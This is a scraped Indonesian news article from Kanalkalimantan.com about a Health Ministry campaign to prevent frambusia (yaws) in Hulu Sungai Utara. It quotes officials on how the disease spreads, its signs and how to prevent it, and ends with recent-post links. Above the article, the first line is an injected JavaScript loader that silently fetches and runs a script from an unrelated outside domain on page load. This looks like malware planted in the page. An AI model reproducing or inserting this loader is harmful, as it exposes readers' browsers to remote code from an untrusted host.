(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Bisa Menular, Warga HSU Diminta Waspadai Penyakit Frambusia


KANALKALIMANTAN.COM, AMUNTAI – Kementerian Kesehatan (Kemenkes) RI terus mendorong upaya Perilaku Hidup Bersih dan Sehat (PHBS) serta pencegahan penyakit menular frambusia sejak dini bagi masyarakat di Kabupaten Hulu Sungai Utara (HSU).

Komite Ahli Frambusia Kemenkes RI, dr Abdur Rachim, saat melakukan sosialisasi pencegahan penyakit frambusia di Desa Sungai Pandan Tengah, Kecamatan Sungai Pandan, Kabupaten HSU, Rabu (13/9/2023), menjelaskan, penyakit frambusia merupakan penyakit kulit kronis yang menular dan termasuk kategori Penyakit Kulit Terabaikan (Neglected Tropical Diseases/NTDs).

Perlu diketahui frambusia merupakan jenis penyakit yang bisa menular melalui kontak erat dengan penderita dan banyak ditemui pada anak-anak yang tinggal di wilayah tropis.

Baca juga: Ada Pelantikan Pemuda Muhammadiyah Kalsel 16 September, Sahlipani: Bukan Agenda PWPM Kalsel 2023-2027 yang Sah

Abdur Rachim berharap melalui sosialisasi upaya pencegahan dan pengendalian frambusia yang melibatkan kerjasama antara Kementerian Kesehatan dan Dinas Kesehatan memberikan pengetahuan kepada masyarakat tentang penyakit frambusia, tanda-tandanya, cara penularannya, dan langkah-langkah pencegahannya.

“Kalau ketemu tanda-tanda penyakit frambusia langsung diperiksa. Kita pastikan, kalau memang frambusia maka akan ditindaklanjuti agar tidak menyebar di masyarakat,” imbuhnya.

Sementara itu, Kepala UPT Puskesmas Alabio, Rahmadani mengaku saat ini khususnya di Kecamatan Sungai Pandan, kasus penyakit frambusia sulit ditemukan bahkan sangat jarang terjadi.

Baca juga: Bersama Berdoa Minta Diturunkan Hujan, Guru Ilham: Perbanyak Instrospeksi Diri dan Memohon Ampun

Meskipun, frambusia tidak ditemukan, upaya pencegahan berkelanjutan untuk menghilangkan frambusia secara permanen terus dilakukan agar tidak menyebar sampai ke masyarakat.

“Jadi kalau misalnya ada warga yang mengalami korengan, itu hendaknya agar segera diperiksakan, siapa tahu itu penyakit frambusia,” katanya.

“Silahkan hubungi petugas kesehatan terdekat di desa. Kalau misalkan diperlukan, silahkan datang ke Puskesmas untuk pemeriksaaan labolatorium lebih lanjut,” tambahnya.

Lebih lanjut, ia mengajak seluruh masyarakat untuk menjaga diri dari penyakit frambusia dengan mengadopsi dua langkah penting yakni, makan makanan bergizi dan menjalani pola hidup bersih dan sehat. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Muhammad Andi

Recent Posts

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

14 menit ago

Siap Tarung di Pilkada Kapuas, Mantan Wagub Kalteng Habib Ismail Lamar Nasdem

KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More

1 jam ago

Pj Bupati Kapuas Halalbihalal Bersama Ibu-ibu Pengajian

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More

2 jam ago

Pansus II ke KLHK, Bahas Raperda Pengakuan dan Perlindungan Masyarakat Hukum Adat

KANALKALIMANTAN.COM, KUALA KAPUAS - Panitia Khusus (Pansus) II DPRD Kabupaten Kapuas melakukan kunjungan ke Kementerian… Read More

2 jam ago

Rugikan Negara Rp1,6 Miliar, Kasus Pengemplang Pajak Dilimpahkan ke Kejari Tanbu

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Tanah  Bumbu (Tanbu) Provinsi Kalimantan Selatan (Kalsel) berinisal… Read More

2 jam ago

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

13 jam ago

This website uses cookies.